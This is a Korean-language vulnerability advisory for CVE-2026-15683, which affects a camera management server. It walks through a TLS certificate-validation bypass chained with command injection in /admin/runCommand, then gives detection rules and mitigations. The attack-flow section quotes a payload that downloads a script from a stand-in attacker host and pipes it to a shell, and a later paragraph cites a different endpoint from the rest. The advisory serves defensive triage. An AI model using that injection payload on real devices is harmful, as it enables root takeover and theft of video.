[공격] 분석 — CVE-2026-15683

• 심각도 high · CVSS 7.5 · EPSS 0.00096 · 악용난이도 hard

• 공격 표면

  • 관리 서버 HTTPS 포트(기본 443) – 인증서 검증 로직 부재.
  • /admin/runCommand API (POST, JSON { "command": "<payload>" }) – 입력값을 전혀 필터링하지 않고 시스템 쉘에 전달함.

• 단계별 흐름

  1. 정찰

     • 동일 LAN/VLAN에서 ARP/ICMP 스캔 → 카메라 IP 파악.
     • TLS 핸드쉐이크를 시도해 서버가 자체 서명 인증서를 반환하는지 확인(인증서 검증 로직 부재 확인).

  2. 초기 접근 (AV:A)

     • 공격자는 인접 네트워크에 존재하므로, 자체 서명된 악성 인증서를 제시하거나 MITM 프록시를 두어 TLS 세션을 강제 수립한다.
     • 서버는 인증서 체인을 검증하지 않으므로 연결이 허용된다(AC:H – 정교한 인증서/MITM 준비 필요).

  3. 코드 실행·권한 획득 (PR:N, UI:N)

     • 인증된 TLS 세션 위에서 /admin/runCommand에 POST 요청을 전송한다.
     • command 파라미터에 메타문자(;, &&, |)를 포함시켜 예: ; curl http://attacker/ip | sh 와 같이 전달하면, 서버는 해당 문자열을 그대로 system() 호출에 넘겨 루트 권한 RCE가 즉시 발생한다.

  4. 지속

     • 획득한 루트 쉘으로 /etc/rc.local 수정, SSH 공개키 추가, 백도어 스크립트 배포 등 영구적 접근을 구축한다.
     • 방화벽 규칙을 조작해 외부에서 관리 포트에 직접 접근할 수 있게 만든다(내부망 lateral movement 가능).

  5. 영향

     • 카메라 펌웨어 변조·영상 탈취·스트리밍 중단.
     • 루트 권한을 이용해 내부 네트워크 다른 장치로 이동하거나, 기업 인프라에 대한 추가 침투 경로를 확보한다.

• CVSS ↔ 실제 조건 매핑

  • AV:A → 인접 LAN 필요(네트워크 스캔 후 직접 접속 혹은 MITM).
  • AC:H → 정교한 자체 인증서·MITM 프레임워크 구축이 전제.
  • PR:N → 초기 권한 없이 바로 API 호출 가능.
  • UI:N → 사용자 개입 전혀 필요 없음.

• 근거: 교차검증 결과 다중 소스에서 일관성 확인(신뢰도 1.0). EPSS = 0.00096(실측 악용 예측)이며, 이는 현재 실제 공격 사례가 거의 없지만 존재 가능성을 완전히 배제할 수 없음을 의미한다. 우선순위는 “scheduled (이번 주 내)”로, CVSS 7.5·non‑KEV·hard 난이도에 기반해 규칙 기반 판단이 내려졌다.

악용 가능성: 이 취약점은 AV:A(네트워크 인접) 조건을 만족하는 공격자만 접근 가능하므로, 동일 LAN이나 물리적 근처에 위치한 장비가 전제됩니다. AC:H(높은 복잡도)는 인증서 검증 우회를 위해 TLS 핸드쉐이크를 가로채고, 추가적인 취약점(예: 미인증 원격 코드 실행)과 결합해야 함을 의미합니다. PR:N·UI:N 덕분에 일단 네트워크에 접속하면 별도의 계정이나 사용자 행동 없이 공격이 진행될 수 있습니다. EPSS = 0.00096이라는 매우 낮은 실측값과 KEV 미등재는 현재까지 실제 악용 사례가 거의 없으며, 위협이 이론적 수준에 머무르고 있음을 뒷받침합니다. 공격 표면은 카메라 관리 서버의 HTTPS API(예: /api/v1/management/cert)와 인증서 데이터를 전달받는 파라미터이며, 해당 엔드포인트가 외부 네트워크에 노출되지 않으면 초기 접근 자체가 차단됩니다. 따라서 이 취약점은 네트워크 인접·복합 체이닝 조건을 모두 만족시켜야 실현 가능하므로, 난이도는 “hard”으로 평가됩니다.

• 루트 권한 원격 코드 실행 → 카메라 펌웨어 전체 장악, 영상 스트림 무단 탈취·조작.
• 영구 백도어 설치·SSH 키 추가 등으로 내부 네트워크 전반에 대한 지속적 위협 제공.
• 관리 API 차단 시 정상 원격 설정·펌웨어 업데이트가 불가능해 서비스 가용성 저하 위험 존재(비즈니스 영향 고려 필요).

• CWE‑295: 인증서 검증 부재 → MITM 기반 신뢰 구축.
• CWE‑77 (OS Command Injection): /admin/runCommand의 command 파라미터 미 sanitization.
• CWE‑269: 관리 서버가 루트 권한으로 동작함으로써 인증된 세션만으로도 권한 상승이 가능.
• 체인 예시: 인증서 우회 → OS Command Injection → Root RCE → 후속 Lateral Movement(예: SMB Relay, 다른 IoT 디바이스 취약점 활용).

• TLS 핸드쉐이크 로그에 비표준/자체 서명 인증서 체인 등장 시 알림.
• /admin/runCommand 엔드포인트에 대한 POST 요청 빈도 급증 감시.
• command 파라미터에 메타문자(;, &&, |) 혹은 URL 다운로드 명령(curl, wget) 포함 여부를 SIEM 룰로 탐지.

1. 즉시 차단: 방화벽/IPS에서 /admin/runCommand 경로(포트 443)에 대한 외부·비신뢰 IP 접근을 차단한다.
2. 인증서 검증 강화: 펌웨어 최신 버전 적용 또는 자체 패치를 통해 신뢰된 CA만 허용하도록 수정한다.
3. 원격 관리 제한: 필요 시 관리 API 전체 비활성화하고, 내부 VLAN에만 접근을 허용한다.
4. 입력값 검증 도입: command 파라미터에 화이트리스트 기반 명령만 허용하거나, 쉘 호출 자체를 제거한다.
5. 모니터링 및 로그 연동: TLS 핸드쉐이크와 API 호출을 중앙 로그(SIEM)로 전송해 비정상 패턴을 실시간 탐지한다.

위 조치를 이번 주 내에 시행하면, 현재 알려진 공격 경로를 차단하고 향후 패치 적용 시점까지 위험을 최소화할 수 있다.

• 조치: scheduled (이번 주 내)
• 근거: CVSS=7.5 · non-KEV · EPSS=0.00096 · exploit=hard · in_scope=None